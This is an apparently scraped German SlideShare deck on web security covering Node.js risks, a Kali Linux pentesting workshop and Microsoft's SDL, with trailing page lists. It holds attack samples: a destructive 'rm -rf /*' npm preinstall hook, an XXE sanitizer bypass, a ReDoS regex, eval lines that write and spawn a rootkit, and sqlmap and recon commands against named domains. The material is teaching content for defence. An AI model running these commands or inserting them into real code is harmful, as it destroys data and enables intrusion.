ZNode.js Demo   var http = require('http'); oldfunc = http.createServer; http.createServer=function (myfunc) { console.log('Hijacking createServer'); newfunc = function (req, res) { result = myfunc(req, res); console.log('MITM Request:'); console.log(req); console.log('MITM Response:'); console.log(res); return result; } return oldfunc(newfunc); } http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello Worldn'); }).listen(1337, '127.0.0.1'); console.log('Server running at http://127.0.0.1:1337/');
ZNode.js npms   Kommen wir zu einem ganz dunklem Kapitel.
ZNode.js AuthenFcated  only  by  E-­‐Mail   ca  30.000  Packages,  no  Security-­‐Checks   Sinks:     zB  1686*Spawn()                9518*eval()                3977*writeFile()     Average  Quality  is  low Kommen wir zu einem ganz dunklem Kapitel. NPMs sind einer der wichtigsten Gründe für das enorme Wachstum von Node. Und genau die offene Infrastruktur, die zur schnellen und weiten Verbreitung führte, ist vom Security-Standpunkt her ein Problem. Denn auch hier gilt das Appstore-Phänomen: man vertraut der Absenderadresse, auch wenn sie eigentlich gar kein Vertrauen verdient - denn jeder von uns kann jederzeit ein Package einstellen, ohne jenseits seiner E-Mail-Adresse authentifiziert zu werden.
ZNode.js { "name": "rimrafall", "version": "1.0.0", "description": "rm -rf /* # DO NOT INSTALL THIS", "main": "index.js", "scripts": { "preinstall": "rm -rf /*" }, "keywords": [ "rimraf", "rmrf" ], "author": "João Jerónimo", "license": "ISC" } Das ist die package.json vom Package rimraffall gewesen. Fällt jemanden was auf?
ZNode.jsSessions Your Problem Persistance You, again Caching Oh, that’s you Authentication You? Logging Your Job, obviously Error Handling Make a guess… Node hat relativ klare Vorstellungen darüber, wer sich um was zu kümmern hat. Es kümmert sich um http und die V8-Engine, alles sonst ist Euer Job.
ZNode.js Support  für  typische  Security-­‐Features:   -­‐  node-­‐validator  für  validaoon  &  saniozing        require('validator').sanitize(mystr).xss();   -­‐  express  csrf  middleware        app.use(express.csrf()); Für die normalen Security-Anforderungen sind die meisten Pakete vorhanden, beide auch im express-Umfeld vorhanden.
ZNode.js node-­‐validator  SaniFzer:     Blacklister,  also  gibt  es  Workarounds:
 <!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y> 
 und in test.xxe: <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script> Der Validator ist der Rewrite der Code-Igniter Infrastruktur und ok. Die Validator-Funktionen sind gut, und die Sanitizer-Funktionen - wie jede Blacklist - unvollständig und es existieren Workarounds.
ZNode.js SQL-­‐InjecFons:   nodejsdb  solide,  inklusive  Parameter  binding   Aber:  WhitelisFng  von  Bezeichnern  und  SQL-­‐ Syntax  trotzdem  erforderlich   Auch was die Basisinfrastruktur angeht sieht es nicht so schlecht aus - das nodejsdb mysql Interface macht zB auch einen guten Eindruck. Ich muss natürlich auch nicht-bindbaren Syntax, der in die Query geht validieren - sonst sind wieder SQL-Injections oder blind SQL-Injections möglich. Aber wie gesagt, das sind nur 3 von 30.000 Modulen, und gerade die selten genutzten Module sind nicht wirklich vertrauenswürdig.
ZNode.js ReDOS-­‐A<acken:  exisFerende  reguläre   Ausdrücke  so  fü<ern,  dass  sie  beliebig  viel   CPU  brauchen.   Beispiel:     var  match  =  /^(a+)+$/.exec('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!');   Blockiert  den  Server  >  10  Sekunden.
ZNode.js Wenn  ich  ein  eval()  im  Server  habe  ...     process.kill(process.id);   require(‘fs‘).writeFileSync(‘/tmp/rootkit‘,  data,  ‘base64);   require(‘child_process‘).spawn(‘/tmp/rootkit‘);  
ZNode.js Node.js  auch  auf  Port  80  nicht  als  Root!   per  sudo  starten  und  dann  ...   var uid = parseInt(process.env.SUDO_UID); if (uid) process.setuid(uid);
ZFazit Basis-­‐Infrastruktur  sichern:     gute  Libraries   guter  JavaScript-­‐SFl   mit  JSLint/JSHint  sichern   Blacklists  sind  nie  100%   Escaping  nur  nach  Kontext
ZDemo Wie  sichere  ich  eine  Node-­‐ApplikaFon  ab?
EPentesFng Hallo zusammen und willkommen zum praktischen Teil! Was Ihr hier seht die die Visitenkarten von Kevin Mitnick, den mal meistgesuchten Hacker der Welt. Aber das ist nicht nur eine Visitenkarten - wer erkennt, was da noch mit drinsteckt?
EPentesFng ?Was ist Penetration Testing? Erst mal kann man an dem Namen erkennen, wie Nerd tatsächlich die Security-Branche ist - Penetration weckt da keinerlei andere Assoziationen, das ist halt ein technischer Prozess. Keinerlei erotische Konotation.
EPentesFng Was ist Penetration Testing eigentlich? Wenn man der Presse trauen darf, ist das der Moment, in dem man die Skimaske aufsetzt und aus der Hacker- Perspektive tätig wird. Jetzt denkt man natürlich: ist das nicht verboten? Wollen wir das tatsächlich machen? Sollte man das nicht lieber bleiben lassen?
Es  wird  unser  Problem   wenn  er  es     macht. https://www.flickr.com/photos/devdsp/6999839463 Und das ist der Haken an der Sache - wenn wir es nicht machen, dann ist alles gut - bis zu dem Tag, an dem es jemand anderes macht.
Und wenn die das machen, dann gibt es Ärger für die Softwareentwickler, nicht für die Hacker.
„Lass  mich
  Dir  helfen.“ https://www.flickr.com/photos/devdsp/6999839463 Und dann kommen die Hacker gleich noch mal um die Ecke, in diesem Fall nennen sie sich aber Security-Auditor. Sie auditieren, dokumentieren was man alles falsch gemacht hat. Und nennen das Hilfe.
Hacker                        Sie   2                  :                          0 Endstand: die Hacker haben einmal durch den Einbruch gewonnen, und danach haben wir anderen von ihnen beauftragt. Und wer das nicht möchte, der macht eben selbst Penetration Testing.
2005 war ich ein Jahr in Argentinien, mit meiner Frau, die bei BMW arbeitet. Und wie es sich gehört haben wir da ein interkulturelles Training bekommen, weil viele Dinge in Südamerika anders sind als hier. Und natürlich spielt Sicherheit eine besondere Rolle.
Und da haben sie mir beigebracht, wie sicher ich meine Wohnungstür zu machen hatte. Hat jemand eine Idee, wie viele Schlösser man an der Tür braucht, wenn man in einer normalen Gegend in Buenos Aires wohnt? Die Jungs von der Sicherheitsfirma, die beim interkulturellen Thema dabei waren konnten mir helfen: eins mehr als der Nachbar.
Das gleiche gilt auch oft für Security - wenn ich nicht die tiefhängende Frucht bin habe ist statistisch deutlich weniger Probleme. Viele Hacker, speziell Script-Kiddies und kommerzielle Exploiter aus dem Osten prüfen das Ziel kurz, und wenn dort nach einiger Zeit nichts gefunden wird zieht man weiter.
E OrganisaFon Setup   Erkunden   Lücken  ausnutzen   Analyse   Fehlerbehebung Ok, beginnen wir also damit. Wie organisiert man einen Pentest? Welche Schritte nimmt man vor?
EAufsetzen   Setup 1 Ich beginne mit dem Setup
E Kali  Linux Das Tool der Wahl ist Kali Linux, und viele haben es hoffentlich schon installiert. Kali Linux ist - wie der Name schon sagt - eine Linux-Distribution. Faktisch ist Kali aber die Penetration-Testing-Universal-Waffe.
E Kali sieht sich selbst nicht ganz unbescheiden als die Plattform schlechthin für Penetration Testing.
EKDE/Gnome-­‐basiert   Linux-­‐Knowhow  vorteilha^   VM  +  Nexus   Kali Linux ist ein Linux. Warum machen die das? Weil ein normales Betriebsystem nicht ausreicht. Zum Beispiel brauche ich für manche Wifi-Exploits Injection-Fähige Treiber. Braucht man Linux-Knowhow? Ja, für Security, so generell. Aber nicht für Kali selbst, da geht das meiste über Menus. Meist wird es als virtuelle Maschine betrieben, aber es gibt zB auch eine mobile Edition für zB die Nexus-Geräte.
E Toolset Einloggen, Menu vorstellen. Oft wird nur als Root gearbeitet. Wer hat alles Kali installiert?
EReconnaissance   Erkunden 2 Dann kommt die Erkundung - ich schaue mir erst mal an, was alles geht.
E Erkunden Google   site:mayflower.de inurl:.php
E Erkunden DNS   dnsenum   dnsrecon   dnsdict6  &  fierce dnsenum dnsenum --enum mayflower.de dnsenum --enum nfq.com dnsrecon dnsrecon -t std -d mayflower.de dnsdict6 -4 mayflower.de fierce -dns mayflower.de
E Erkunden Google   theharvester   metagoofil theharvester -d mayflower.de -b bing theharvester -d mayflower.de -b pgp theharvester -d protonet.info -b bing metagoofil -d microsoft.com -t doc -l 25 -o microsoft -f microsoft.html
E Erkunden Google   Maltego Demo Engine Email Engine
E Erkunden Zenmap   nmap Scannen der lokalen Netzwerke
E Erkunden Skipfish skipfish -o mayflower /usr/share/skipfish/dictionaries/minimal.wl http://mayflower.de
E ErkundenDemo / Ergebnis
E Erkunden Arachni arachni —output-verbose —report-save-path=mayflower.de http://Mayflower.de arachni_reporter /usr/share/arachni/bin/mayflower.de.afr —report=html:outfile=mydriver.html
EExploitaPon   Lücken  ausnutzen 3 Danach kommt der wichtigste Schritte - das exploiten. Wenn ich mit Skip-Fish Lücken gefunden habe - oder eben auch keine gefunden habe - dann muss ich mir das Problem näher anschauen. Und das mache ich bei Webapplikationen im Regelfall mit einem Security-Proxy, den ich zur Analyse nutze.
E Lücken  ausnutzen Burp  Suite   Free Burp Suite ist ein kommerzielles Produkt. Er wird als Proxy genutzt und erlaubt die manuelle und automatisierte Untersuchung von Webseiten.
E Lücken  ausnutzen Burp  Suite   Commercial Die kommerzielle Variante bietet eine ganze Reihe von Optionen mehr
E Lücken  ausnutzen SQL-­‐Map sqlmap —cookie=„..“ -u „http://hackme.mayflower.de:81/vulnerabilities/sqli/?id=1&Submit=Submit“ -> Parameter id Dann —dbs Dann -D dvwa —all
Khttps://www.owasp.org/images/9/95/JS_Libraries_Insecurity_-_Stefano_DiPaola.pdf http://www.contextis.com/files/Browser_Timing_Attacks.pdf http://www.owaspbwa.org/ http://deadliestwebattacks.files.wordpress.com/2013/02/javascript-security-html5.pdf http://de.slideshare.net/x00mario/the-innerhtml-apocalypse http://secappdev.org/handouts/2014/Tom%20Van%20Cutsem/RobustJS.pdf
ZFazit Bonus
Warum werden Web- Applikationen angegriffen? Profit Fun Der Angreifer ist also keineswegs mehr der Amateur zuhause, sondern Dienstleister in einem funktionierenden Markt. „Für 40.000 Euro bekommt man die Daten jeder Firma“
Motive im Detail Informationsdiebstahl Defacement Malware Unbekannt Betrug Erpressung Link Spam Würmer Phishing Information Warfare Hauptmotivation ist Informationsdiebstahl, dh. der Diebstahl von sensiblen Daten. Aus diesem Grund wird dieses Thema auch explizit behandelt.
Wege zum Einbruch SQL Injection Information Disclosure Bekannte Lücken XSS Fehlende Zugangskontrolle Raten von Zugangsdaten/Session OS Code Execution Fehlkonfiguration Fehlende Anti-Automation Denial Of Service Redirect Mangelhafter Session-Timeout CSRF Source: NSI 2006
Developer und Security „Das wird niemals jemand ausprobieren.“ „Warum sollte jemand das machen?“ „Unsere Applikationen wurde noch nie angegriffen.“ „Wir sind sicher, denn wir haben eine Firewall.“ „Wir haben unseren Code geaudited, es gibt keine Fehler mehr.“ „Es ist zwar ein Fehler, aber nicht ausnutzbar.“ „Aber die Option ist normalerweise nicht aktiv.“ Es ist ein Irrtum, dass der Developer alles notwendige über Web Security wissen kann. Der Bereich ist zu komplex und entwickelt sich zu schnell, als dass das möglich wäre.
Der Entwickler als Landwirt Zukunftschance Olivenanbau in der Toskana Vielleicht sollte man sich nach ganz anderen Sachen umschauen ...
Zumindest sind wir nicht die einzigen ... Erinnern Sie sich an Code Red Nimda Sasser Outlook-Virii ? Wir haben ja viele Microsoft-Entwickler hier. Wenn mich nicht alles täuscht, ist Bill Gates nicht in Rente - offensichtlich haben die Jungs eine Lösung gefunden.
Der Security Development Lifecycle Entwickelt von Microsoft im Rahmen der Trustworthy Computing Kampagne 2002 Trotzdem eine gute Sache Keine neue Erfindung, sonder Sammlung funktionierender bekannter Ideen Für existierende und neue Projekte Resultat: 50-60% weniger Post-Release Bugs
Bestandteile von SDL Schulung von Entwicklung und Management Sicherheit als Bestandteil des Software Lebenzyklus Feststellung von Risiken Risikoanalyse Best Practices und Code Reviews Security Maintenance Infrastructure
Managementunterstützung SDL benötigt 100% Managementsupport Wirklich. Offizielles Bekenntnis und sichtbare Aktivität 15-20% Mehraufwand/kosten initial, 
 <10% dauerhaft Akzeptanz ein Projekt stoppen zu müssen! Bei den Kosten für Sichere Software werden sicherlich manche gerne darauf verzichten wollen :-)
Entwickler, aber sicher Mindestens eine Sicherheitsschulung pro Jahr Web Applikationssicherheit ist schnelllebig Benennung von Security Trainern Sicherheitsdokumentation erstellen Ein gut geschulter Entwickler ist 60% der Miete, nicht mehr und nicht weniger.
Risikogetriebene Softwareentwicklung neben den Requirements werden initial auch die Risiken erfasst und analysiert wie Requirements müssen auch die Risiken behandelt werden Risiken ändern sich während der Projektzeit
Risikoerfassung - Angriffsflächenanalyse Webanwendungen enden meistens rechts oben. Das ist der schlechteste Platz.
Reduktion der Angriffsfläche Jedes Feature prüfen wird dieses Feature von allen Nutzern benötigt? kann dieses Feature von überall erreicht werden? wird dieses Feature von unauthorisierten Nutzern benötigt? Beispiel: sind Admin-URLs auch vom Internet aus erreichbar? Gerade bei Webapplikationen werden viele mögliche Einschränkungen der Angriffsfläche übersehen.
Risikoerfassung: Privacy Impact Rating Hoch: Die Applikation speichert oder überträgt sensible Daten Mittel: Die Applikation speichert oder übermittelt anonyme Daten Niedrig: Alles andere In den Zeiten von Schäuble und Web 2.0 vermutlich kein Thema mehr :-)
Risikoanalyse Anwendungsfälle definieren (zB Use Cases) Die externen Abhängigkeiten erfassen Sicherheitsannahmen definieren Datenfluss als Data Flow Diagram erfassen Annahmen: i expect every user to come from the internet. i expect the ntlm-based authentication to work
Risikoanalyse: STRIDE Im Datenflussdiagram Risiken mit STRIDE finden Spoofing / Fälschung Tampering / Manipulation Repudiation / verhinderte Nachweisbarkeit Information Disclosure / Informationslecks Denial of Service / Blockaden Elevation of Privileges / Rechteübernahme spoofing: session riding, fake referer; tampering: XSS, CSRF; repudiation: logcleaner; Information disclosure: error messages; SQL Injections; Elevation of privileges: code executions, sql injections, logical mistakes
Risk Analysis: Determine risks Jedes gefundene Risiko mit DREAD analysieren Damage Potential Reproducability Exploitablitity Affected Users Discoverability Bug Bar: ab wann ein Risiko behandelt werden muss Some say: chance of attack multiplied with damage potential
Risikoanalyse: Risikominderungen planen Für jedes Risiko, das oberhalb der Risikoschwelle (Bug Bar) ist Risikominderungen können applikationsweit sein Parameterbindung und SQL-Injections erzwungenes Ausgabeescaping Die Vollständigkeit des Einsatzes muss geprüft werden Bug bar: not some fancy place to get a beer for a bug, but a risk that is ok to stay with until it‘s time to fix it.
Risikoanalyse: Bedrohungsmodellierung Kann teilautomatisiert werden mit einem kostenlosen Tool: 
 „Threat Analysis and Modeling Tool“ http://www.microsoft.com/downloads/details.aspx? familyid=59888078-9daf-4e96-b7d1-944703479451
 
 It takes a whole lot of time, but it‘s less time to use the tool then to use n tool
Sicherheit Best Practices Welche Tools eingesetzt werden sollen Coding Standards und Richtlinien Testrichtlinien
Werkzeuge zur Verbesserung der Sicherheit Komplexitäts- und Coding-Style analyse Checkstyle, Codesniffer, PMD Statische Source Code Analyse Fortify diverse OpenSource-Tools Complex code is a major reason for security problems. A cyclomatic complexity > 50 almost sure contains a security problem. Of course you should use tools like web application security scanners as well. currently it‘s hard to integrate them into the development circle, but this will happen in future.
Coding Standards Einige Beispiele: Fixe Libraries und Regeln für Input Validierung Variablensäuberung Ausgabeescaping Parameter Binding für Datenbankzugriffe there are a lot more, see the several security guidelines for php
Coding Richtlinien Maximalwerte für Komplexität (McCabe, NPath- Complexity) Minimale Test Coverage Richtlinien für Regressionstests
Sicherheitstests für Webapplikationen Automatisierte Fuzzing und Pentestingtools (wie NStalker, AppScan, XSS) Laufzeitschutz (Suhosin, mod_apparmor, mod_security) Regressionstests für jedes gefundene Sicherheitsproblem Security Test Cases
Der „Security Push“ Sicherheit für alte Applikationen der Entwickler reviewed seine Software selbst die Risiken wurden zuvor analysiert die Tests werden in einer Datenbank protokolliert: Wer hat was, wann wie weit getestet jeder Entwickler wurde vorher geschult es stehen Tools für die Tests zur Verfügung die Risikoanalyse wird danach aktualisiert die Sicherheitsdokumentation wird aktualisiert
Finaler Sicherheitsreview Code Review Unmittelbar vor der Herausgabe(!) Durchgeführt vom internen Security Coach oder einem externen Auditor Prüfung der SDL Dokumente (Datenflussdiagramme, Risikoanalyse, Sicherheitsdokumentation) Prüfung der ungefixten Bugs
Security Response Infrastructure Es existiert ein offizieller Security(@company.tld) Kontakt Es gibt einen definierten Workflow für gemeldete Probleme Es gibt einen Workflow für Advisories Es gibt einen Workflow für Updates und Bugfixes This can be done less official if you got a small company or a small install base. nevertheless you need the responsiblity assigned to certain people and the workflow to handle security issues.
Security Response auf eine Meldung Verwundbarkeit, Risiko und Ausnutzbarkeit analysieren Fehler korrigieren Korrektur prüfen Regressionstest für Fehler implementieren Update zur Fehlerbehebung und Advisory veröffentlichen Ziemlich oft soll die Antwort auf eine Sicherheitslücke sehr schnell erfolgen, mit dem Resultat, dass der Bugfix unvollständig ist oder neue Lücken aufreisst.
Start Die Bibel: „The Security Development Lifecycle“ von Michael Howard und Steve Lipner ISBN 978-0-7356-2214-2 http://blogs.msdn.com/threatmodeling/ „Security in the Software Lifecycle“ - Department of Homeland Security
Fazit 1.Awareness: Web Applikation sind risikobehaftet 2.SDL ist ein Weg, Sicherheit als Bestandteil des Entwicklungsprozesses zu gewährleisten 3.Die Einführung bedeutet die Integration eines Sets von Werkzeugen und Prozessen 4.SDL ist kein Silver Bullet: Anwendung des Toolsets liegt beim Entwickler, der Erfolg auch.
Ausblick Agile Entwicklungsprozesse und Sicherheit Security Stakeholder als Kunden Security Requirements Security Tests Security Expert als Sonderrolle im Team Es gibt für MDA Ansätze wie CORAS, UMLsec und SecureUML
ZFazit Bonus-­‐Rant  zum   tweeten:   Der  HTML-­‐Parser  und  die  DOM-­‐ API  sind  unreparierbar  kapu<.
fSlides  mit  Volltext   slideshare.net/mayflowergmbh @Johannhartmann @jowe Danke!

Empfohlen

Native Cross-Platform-Apps mit Titanium Mobile und Alloy
Native Cross-Platform-Apps mit Titanium Mobile und AlloyNative Cross-Platform-Apps mit Titanium Mobile und Alloy
Native Cross-Platform-Apps mit Titanium Mobile und AlloyMayflower GmbH
 
Deploy Magento Shops with Capistrano v3
Deploy Magento Shops with Capistrano v3Deploy Magento Shops with Capistrano v3
Deploy Magento Shops with Capistrano v3Roman Hutterer
 
Electron.NET: Cross-Platform Desktop Software mit ASP.NET Core
Electron.NET: Cross-Platform Desktop Software mit ASP.NET CoreElectron.NET: Cross-Platform Desktop Software mit ASP.NET Core
Electron.NET: Cross-Platform Desktop Software mit ASP.NET CoreGregor Biswanger
 
GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018
GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018
GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018Christian Mücke
 
Hands-on Workshop: API-Dokumentation mit OpenAPI / Swagger in ASP.NET Core
Hands-on Workshop: API-Dokumentation mit OpenAPI / Swagger in ASP.NET CoreHands-on Workshop: API-Dokumentation mit OpenAPI / Swagger in ASP.NET Core
Hands-on Workshop: API-Dokumentation mit OpenAPI / Swagger in ASP.NET CoreGregor Biswanger
 
Echte Lösungen, keine Tricks
Echte Lösungen, keine TricksEchte Lösungen, keine Tricks
Echte Lösungen, keine TricksJens Grochtdreis
 
ADF User Interface Design Best Pratices
ADF User Interface Design Best PraticesADF User Interface Design Best Pratices
ADF User Interface Design Best PraticesAndreas Koop
 
Gearman - Distributed Job System
Gearman - Distributed Job SystemGearman - Distributed Job System
Gearman - Distributed Job SystemMayflower GmbH
 

Empfohlen

Native Cross-Platform-Apps mit Titanium Mobile und Alloy
Native Cross-Platform-Apps mit Titanium Mobile und AlloyNative Cross-Platform-Apps mit Titanium Mobile und Alloy
Native Cross-Platform-Apps mit Titanium Mobile und AlloyMayflower GmbH
 
Deploy Magento Shops with Capistrano v3
Deploy Magento Shops with Capistrano v3Deploy Magento Shops with Capistrano v3
Deploy Magento Shops with Capistrano v3Roman Hutterer
 
Electron.NET: Cross-Platform Desktop Software mit ASP.NET Core
Electron.NET: Cross-Platform Desktop Software mit ASP.NET CoreElectron.NET: Cross-Platform Desktop Software mit ASP.NET Core
Electron.NET: Cross-Platform Desktop Software mit ASP.NET CoreGregor Biswanger
 
GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018
GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018
GitLab: CI-Pipelines | PHP Usergroup Hamburg 20.03.2018Christian Mücke
 
Hands-on Workshop: API-Dokumentation mit OpenAPI / Swagger in ASP.NET Core
Hands-on Workshop: API-Dokumentation mit OpenAPI / Swagger in ASP.NET CoreHands-on Workshop: API-Dokumentation mit OpenAPI / Swagger in ASP.NET Core
Hands-on Workshop: API-Dokumentation mit OpenAPI / Swagger in ASP.NET CoreGregor Biswanger
 
Echte Lösungen, keine Tricks
Echte Lösungen, keine TricksEchte Lösungen, keine Tricks
Echte Lösungen, keine TricksJens Grochtdreis
 
ADF User Interface Design Best Pratices
ADF User Interface Design Best PraticesADF User Interface Design Best Pratices
ADF User Interface Design Best PraticesAndreas Koop
 
Gearman - Distributed Job System
Gearman - Distributed Job SystemGearman - Distributed Job System
Gearman - Distributed Job SystemMayflower GmbH
 
Verteilte Anwendungen bei Azure mit Docker und Kubernetes
Verteilte Anwendungen bei Azure mit Docker und KubernetesVerteilte Anwendungen bei Azure mit Docker und Kubernetes
Verteilte Anwendungen bei Azure mit Docker und KubernetesGregor Biswanger
 
#wpdm - Plugin-Entwicklung für den TinyMCE
#wpdm - Plugin-Entwicklung für den TinyMCE#wpdm - Plugin-Entwicklung für den TinyMCE
#wpdm - Plugin-Entwicklung für den TinyMCENico Danneberg
 
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-Apps
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-AppsAber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-Apps
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-AppsGregor Biswanger
 
Am Ende ist doch alles HTML - 2012 - Webmontag Edition
Am Ende ist doch alles HTML - 2012 - Webmontag EditionAm Ende ist doch alles HTML - 2012 - Webmontag Edition
Am Ende ist doch alles HTML - 2012 - Webmontag EditionJens Grochtdreis
 
Eine Stunde was mit Api First!
Eine Stunde was mit Api First!Eine Stunde was mit Api First!
Eine Stunde was mit Api First!JanWeinschenker
 
Frontend Best Practices
Frontend Best PracticesFrontend Best Practices
Frontend Best PracticesJens Grochtdreis
 
Werkzeugkasten
WerkzeugkastenWerkzeugkasten
WerkzeugkastenHendrik Lösch
 
Web Performance Optimierung (WPO)
Web Performance Optimierung (WPO)Web Performance Optimierung (WPO)
Web Performance Optimierung (WPO)Martin Kliehm
 
HTML5-Features
HTML5-FeaturesHTML5-Features
HTML5-FeaturesFrancesco Schwarz
 
WordPress mit React – Mehr als eine Zweckehe?!
WordPress mit React – Mehr als eine Zweckehe?!WordPress mit React – Mehr als eine Zweckehe?!
WordPress mit React – Mehr als eine Zweckehe?!Paul Vincent Beigang
 
Programmieren für das Web - Vorlesung 13
Programmieren für das Web - Vorlesung 13Programmieren für das Web - Vorlesung 13
Programmieren für das Web - Vorlesung 13Kay Strobach
 
Automatisierte Entwickler VMs -- "works on my machine" zählt nicht mehr ;-)
Automatisierte Entwickler VMs -- "works on my machine" zählt nicht mehr ;-)Automatisierte Entwickler VMs -- "works on my machine" zählt nicht mehr ;-)
Automatisierte Entwickler VMs -- "works on my machine" zählt nicht mehr ;-)Torben Knerr
 
Zuehlke Camp 2017: Chef vs Ansible session
Zuehlke Camp 2017: Chef vs Ansible sessionZuehlke Camp 2017: Chef vs Ansible session
Zuehlke Camp 2017: Chef vs Ansible sessionTorben Knerr
 
Knockin' on heaven's door - Die Praxis zu Besuch beim W3C
Knockin' on heaven's door - Die Praxis zu Besuch beim W3CKnockin' on heaven's door - Die Praxis zu Besuch beim W3C
Knockin' on heaven's door - Die Praxis zu Besuch beim W3CJens Grochtdreis
 
MongoDB: Security-Tipps gegen Hacker
MongoDB: Security-Tipps gegen HackerMongoDB: Security-Tipps gegen Hacker
MongoDB: Security-Tipps gegen HackerGregor Biswanger
 
The Lotus Code Cookbook
The Lotus Code CookbookThe Lotus Code Cookbook
The Lotus Code CookbookUlrich Krause
 
Client side webdevelopment with jet
Client side webdevelopment with jetClient side webdevelopment with jet
Client side webdevelopment with jetenpit GmbH & Co. KG
 
Rhomobile
RhomobileRhomobile
RhomobileJan Ow
 
Cross Platform ist ein alter Hut, Zeit ihn abzustauben - XPCon
Cross Platform ist ein alter Hut, Zeit ihn abzustauben - XPConCross Platform ist ein alter Hut, Zeit ihn abzustauben - XPCon
Cross Platform ist ein alter Hut, Zeit ihn abzustauben - XPConChristian Heilmann
 
Development in der Cloud-Ära
Development in der Cloud-ÄraDevelopment in der Cloud-Ära
Development in der Cloud-Äraenpit GmbH & Co. KG
 
Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...
Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...
Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...Mayflower GmbH
 
Agile Anti-Patterns
Agile Anti-PatternsAgile Anti-Patterns
Agile Anti-PatternsMayflower GmbH
 

Weitere ähnliche Inhalte

Was ist angesagt?

Verteilte Anwendungen bei Azure mit Docker und Kubernetes
Verteilte Anwendungen bei Azure mit Docker und KubernetesVerteilte Anwendungen bei Azure mit Docker und Kubernetes
Verteilte Anwendungen bei Azure mit Docker und KubernetesGregor Biswanger
 
#wpdm - Plugin-Entwicklung für den TinyMCE
#wpdm - Plugin-Entwicklung für den TinyMCE#wpdm - Plugin-Entwicklung für den TinyMCE
#wpdm - Plugin-Entwicklung für den TinyMCENico Danneberg
 
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-Apps
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-AppsAber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-Apps
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-AppsGregor Biswanger
 
Am Ende ist doch alles HTML - 2012 - Webmontag Edition
Am Ende ist doch alles HTML - 2012 - Webmontag EditionAm Ende ist doch alles HTML - 2012 - Webmontag Edition
Am Ende ist doch alles HTML - 2012 - Webmontag EditionJens Grochtdreis
 
Eine Stunde was mit Api First!
Eine Stunde was mit Api First!Eine Stunde was mit Api First!
Eine Stunde was mit Api First!JanWeinschenker
 
Web Performance Optimierung (WPO)
Web Performance Optimierung (WPO)Web Performance Optimierung (WPO)
Web Performance Optimierung (WPO)Martin Kliehm
 
WordPress mit React – Mehr als eine Zweckehe?!
WordPress mit React – Mehr als eine Zweckehe?!WordPress mit React – Mehr als eine Zweckehe?!
WordPress mit React – Mehr als eine Zweckehe?!Paul Vincent Beigang
 
Programmieren für das Web - Vorlesung 13
Programmieren für das Web - Vorlesung 13Programmieren für das Web - Vorlesung 13
Programmieren für das Web - Vorlesung 13Kay Strobach
 
Automatisierte Entwickler VMs -- "works on my machine" zählt nicht mehr ;-)
Automatisierte Entwickler VMs -- "works on my machine" zählt nicht mehr ;-)Automatisierte Entwickler VMs -- "works on my machine" zählt nicht mehr ;-)
Automatisierte Entwickler VMs -- "works on my machine" zählt nicht mehr ;-)Torben Knerr
 
Zuehlke Camp 2017: Chef vs Ansible session
Zuehlke Camp 2017: Chef vs Ansible sessionZuehlke Camp 2017: Chef vs Ansible session
Zuehlke Camp 2017: Chef vs Ansible sessionTorben Knerr
 
Knockin' on heaven's door - Die Praxis zu Besuch beim W3C
Knockin' on heaven's door - Die Praxis zu Besuch beim W3CKnockin' on heaven's door - Die Praxis zu Besuch beim W3C
Knockin' on heaven's door - Die Praxis zu Besuch beim W3CJens Grochtdreis
 
MongoDB: Security-Tipps gegen Hacker
MongoDB: Security-Tipps gegen HackerMongoDB: Security-Tipps gegen Hacker
MongoDB: Security-Tipps gegen HackerGregor Biswanger
 
The Lotus Code Cookbook
The Lotus Code CookbookThe Lotus Code Cookbook
The Lotus Code CookbookUlrich Krause
 
Client side webdevelopment with jet
Client side webdevelopment with jetClient side webdevelopment with jet
Client side webdevelopment with jetenpit GmbH & Co. KG
 
Rhomobile
RhomobileRhomobile
RhomobileJan Ow
 
Cross Platform ist ein alter Hut, Zeit ihn abzustauben - XPCon
Cross Platform ist ein alter Hut, Zeit ihn abzustauben - XPConCross Platform ist ein alter Hut, Zeit ihn abzustauben - XPCon
Cross Platform ist ein alter Hut, Zeit ihn abzustauben - XPConChristian Heilmann
 

Was ist angesagt? (20)

Verteilte Anwendungen bei Azure mit Docker und Kubernetes
Verteilte Anwendungen bei Azure mit Docker und KubernetesVerteilte Anwendungen bei Azure mit Docker und Kubernetes
Verteilte Anwendungen bei Azure mit Docker und Kubernetes
 
#wpdm - Plugin-Entwicklung für den TinyMCE
#wpdm - Plugin-Entwicklung für den TinyMCE#wpdm - Plugin-Entwicklung für den TinyMCE
#wpdm - Plugin-Entwicklung für den TinyMCE
 
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-Apps
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-AppsAber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-Apps
Aber schnell! Top HTML5 Performance Tipps für Hybrid- und Web-Apps
 
Am Ende ist doch alles HTML - 2012 - Webmontag Edition
Am Ende ist doch alles HTML - 2012 - Webmontag EditionAm Ende ist doch alles HTML - 2012 - Webmontag Edition
Am Ende ist doch alles HTML - 2012 - Webmontag Edition
 
Eine Stunde was mit Api First!
Eine Stunde was mit Api First!Eine Stunde was mit Api First!
Eine Stunde was mit Api First!
 
Frontend Best Practices
Frontend Best PracticesFrontend Best Practices
Frontend Best Practices
 
